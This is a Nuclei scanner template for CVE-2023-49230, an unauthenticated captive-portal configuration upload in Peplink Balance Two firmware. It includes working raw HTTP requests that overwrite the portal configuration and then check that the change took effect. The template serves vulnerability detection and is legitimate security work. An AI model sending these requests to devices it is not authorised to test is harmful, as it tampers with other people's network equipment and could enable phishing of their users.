id: CVE-2023-49230

info:
  name: Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload
  author: srilakivarma
  severity: high
  description: |
    A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.
  impact: |
    Unauthenticated attackers can modify captive portal configurations and upload files, potentially enabling phishing attacks or system compromise.
  remediation: |
    Upgrade Peplink Balance Two to version 8.4.0 or later.
  reference:
    - https://www.synacktiv.com/publications%253Ffield_tags_target_id%253D4
    - https://www.synacktiv.com/sites/default/files/2023-12/synacktiv-peplink-multiple-vulnerabilities.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49230
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-49230
    cwe-id: CWE-862
    epss-score: 0.0205
    epss-percentile: 0.78731
    cpe: cpe:2.3:o:peplink:balance_two_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: peplink
    product: balance_two_firmware
    shodan-query: html:"PEPLINK"
  tags: cve,cve2023,peplink,intrusive,file-upload,vuln

flow: http(1) && http(2) && http(3)
variables:
  button_value: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/MANGA/index.cgi"

    matchers:
      - type: word
        part: body
        words:
          - 'Peplink'
        internal: true

  - raw:
      - |
         POST /guest/portal_admin_upload.cgi HTTP/1.1
         Host: {{Hostname}}
         Content-Type: multipart/form-data; boundary=---------------------------370611892836891531633729116268

         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="option"

         edit_page
         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="mode"

         submit
         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="portal_id"

         1
         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="data"

         {"status":"ok","config":{"login":{"access_mode":"open","message":"","tnc_content":"Terms and Conditions.","tnc_title":"Terms and Conditions","tnc_link":"terms","tnc_prompt":"I agree to #TNC_LINK#","back_login_button":"Back to Login","agree_button":"{{button_value}}","session_id1":" ","session_id2":" "},"common":{"hide_quota":"no","landing_url":"","logo_url":"logo.cgi?portal_id=1&type=preview","logo_url_def":"logo.cgi?default=1","uploaded_logo_size":0,"footer":"Powered by Peplink.","footer_default":"Powered by Peplink."},"success":{},"reach_quota":{},"quota":{"limit":{"data":0,"session_timeout":1800}}}}
         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="logo_action"

         x
         -----------------------------370611892836891531633729116268
         Content-Disposition: form-data; name="logo"; filename=""
         Content-Type: application/octet-stream

         -----------------------------370611892836891531633729116268--

    matchers:
      - type: word
        part: body
        words:
          - '"status": "save_success"'
        internal: true

  - raw:
      - |
        POST /guest/api.cgi HTTP/1.1
        Host: {{Hostname}}

        mode=info&option=preview&portal_id=1

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{button_value}}')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502210082bdd73fcda99327aeb278aae3adb643332ff838828a82c8e427c9aa4661ed2c0220067bda166aa3da19250dbd028283bfbf5d381b0749a21bf4971058f92ef1cda1:922c64590222798bb761d5b6d8e72950